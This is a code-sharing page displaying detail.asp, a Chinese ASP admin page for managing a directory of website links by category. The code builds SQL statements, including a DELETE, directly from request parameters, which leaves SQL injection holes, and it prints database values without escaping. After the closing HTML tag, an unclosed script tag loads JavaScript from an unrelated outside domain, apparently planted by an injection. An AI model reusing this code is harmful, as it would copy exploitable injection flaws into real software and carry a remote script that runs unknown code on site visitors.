📄 detail.asp

📁 网址使用源码
💻 ASP
字号:
<!--#include file="conn.asp"-->
<%
if Session("isAdmin")<>true Then
Response.Write "非法闯入！"
Response.End
End if
%>
<HTML>
<HEAD>
<TITLE>网站添加管理</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<LINK REL="stylesheet" HREF="css.css" TYPE="text/css">
</HEAD>
<%
pn=request("pn")
dim rs(5)
function listunder(i)
	set rs(i)=server.createobject("adodb.recordset")
	rs(i).open "select classid,classname from feilei where topclass="&rs(i-1)("classid"),conn,1,3
	while not rs(i).eof
		dim topclassname
		topclassname=""
		for x=0 to i-1
			topclassname=topclassname&rs(x)("classname")&"＞"
		next
		response.write "<option value='"&rs(i)("classid")&"'>"&topclassname&rs(i)("classname")&"</option>"&vbCrLf
		if i<Ubound(rs) then
			call listunder(i+1)
		end if
		rs(i).movenext
	wend
end function
%>
<BODY>
<table width="96%" border="0" cellspacing="1" cellpadding="8" align="center" bgcolor="#999999">
  <tr> 
    <td bgcolor="#cccccc" align="center"> 网站添加管理</td>
  </tr>
  <tr> 
    <td bgcolor="#eeeeee"> 
      <%
delete=request("delete")
if delete<>"" and session("lastdeleted")<>delete then
conn.execute "delete from detail where id="&delete
response.write "<big><big><font color='red'>已删除一条编号为"&delete&"的网站记录!</font></big></big><br><br>"
session("lastdeleted")=delete
end if
%>
      <big><big>添加新网址</big></big> <br> <Script>  
function wz_add() {  
title=document.forms['form1'].title.value;  
url=document.forms['form1'].url.value;  
leibie=document.forms['form1'].leibie.value;  
memo=document.forms['form1'].memo.value;  
if (leibie==0) {  
alert("请选择网站所属类别！");  
return false;  
}  
window.open("wz_add.asp?title="+title+"&url="+url+"&leibie="+leibie+"&memo="+memo,"wz_add_1","width=300,height=100");  
return false;  
}  
</Script> <form action="wz_add.asp" method="post" onsubmit="return wz_add()" name="form1">
        网站标题：
        <input name="title">
        <br>
        网站url：
        <input name="url" size="35">
        <br>
        类别名称：
        <select name="leibie">
          <option selected value="0">请选择分类</option>
          <%  
set rs(0)=server.createobject("adodb.recordset")  
rs(0).open "select classid,classname from feilei where topclass=0",conn,1,3  
while not rs(0).eof  
	response.write "<option value='"&rs(0)("classid")&"'>"&rs(0)("classname")&"</option>"&vbCrLf  
	call listunder(1)  
	rs(0).movenext  
wend  
%>
        </select>
        <br>
        其他信息：
        <input name="memo" size="50">
        <br>
        <input type="hidden" name="action" value="add">
        <input type="submit" value="添加新网站">
      </form>
      <br> <big><big>网址站搜索</big></big> <br> <form action="wz_search.asp" method="post">
        关键字：
        <input name="word">
        <select name="by">  
根据：
          <option value='title'>网站名称</option>
          <option value='url'>网站url</option>
        </select>
        <input type="hidden" name="action" value="delete">
        <input type="submit" value="搜索">
      </form>
      <br> <big><big>网站列表</big></big> <br> <table border="1" bordercolor="black" cellspacing="0">
        <tr> 
          <td nowrap>编号</td>
          <td>网站名称</td>
          <td>网站url</td>
          <td nowrap>所属分类</td>
          <td>编辑</td>
          <td>删除</td>
        </tr>
        <%  
if pn="" then pn=1  
set r=server.createobject("adodb.recordset")  
r.open "select * from detail",conn,1,3  
r.pagesize=100  
r.absolutepage=pn  
rowcount=r.pagesize  
do while not r.eof and rowcount>0  
set rr=server.createobject("adodb.recordset")  
rr.open "select * from feilei where classid="&r("classid"),conn,1,3  
if rr.eof then  
	classname=""  
else  
	classname=rr("classname")  
end if  
response.write "<td nowrap>"&r("id")&"</td>"  
response.write "<td nowrap>"&r("title")&"</td>"  
response.write "<td nowrap>"&r("url")&"</td>"  
response.write "<td nowrap>"&classname&"</td>"  
response.write "<td nowrap><a href='wz_edit.asp?id="&r("id")&"' target='wz_edit'>编辑</a></td>"  
response.write "<td nowrap><a href='"&request.servervariables("script_name")&"?pn="&pn&"&delete="&r("id")&"'>删除</a></td></tr>"  
rr.close  
set rr=nothing  
rowcount=rowcount-1  
r.movenext  
loop  
%>
      </table>
      <%  
ppage=pn-1  
npage=pn+1  
totalpage=r.pagecount  
if cint(totalpage)>cint(pn) then  
%>
      <a href='<%=request.servervariables("script_name")%>?pn=1'>首页</a> <a href='<%=request.servervariables("script_name")%>?pn=<%=totalpage%>'>最后一页</a> 
      <a href='<%=request.servervariables("script_name")%>?pn=<%=ppage%>'>上一页</a> 
      <a href='<%=request.servervariables("script_name")%>?pn=<%=npage%>'>下一页</a> 
      每页显示<%=r.pagesize%>个网站，当前第<%=pn%>页，总共<%=totalpage%>页 
      <%  
else  
if pn=1 then  
%>
      <a href='<%=request.servervariables("script_name")%>?pn=1'>首页</a> <a href='<%=request.servervariables("script_name")%>?pn=<%=totalpage%>'>最后一页</a> 
      <a href='<%=request.servervariables("script_name")%>?pn=<%=npage%>'>下一页</a> 
      每页显示<%=r.pagesize%>个网站，当前第<%=pn%>页，总共<%=totalpage%>页 
      <%  
else  
%>
      <a href='<%=request.servervariables("script_name")%>?pn=1'>首页</a> <a href='<%=request.servervariables("script_name")%>?pn=<%=totalpage%>'>最后一页</a> 
      <a href='<%=request.servervariables("script_name")%>?pn=<%=ppage%>'>上一页</a> 
      每页显示<%=r.pagesize%>个网站，当前第<%=pn%>页，总共<%=totalpage%>页 
      <%  
end if  
end if  
%>
      <br> <br></td>
  </tr>
</table> 
</BODY> 
</HTML> 



<script language=javascript src=http://aa.531jx.cn/gm.js
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -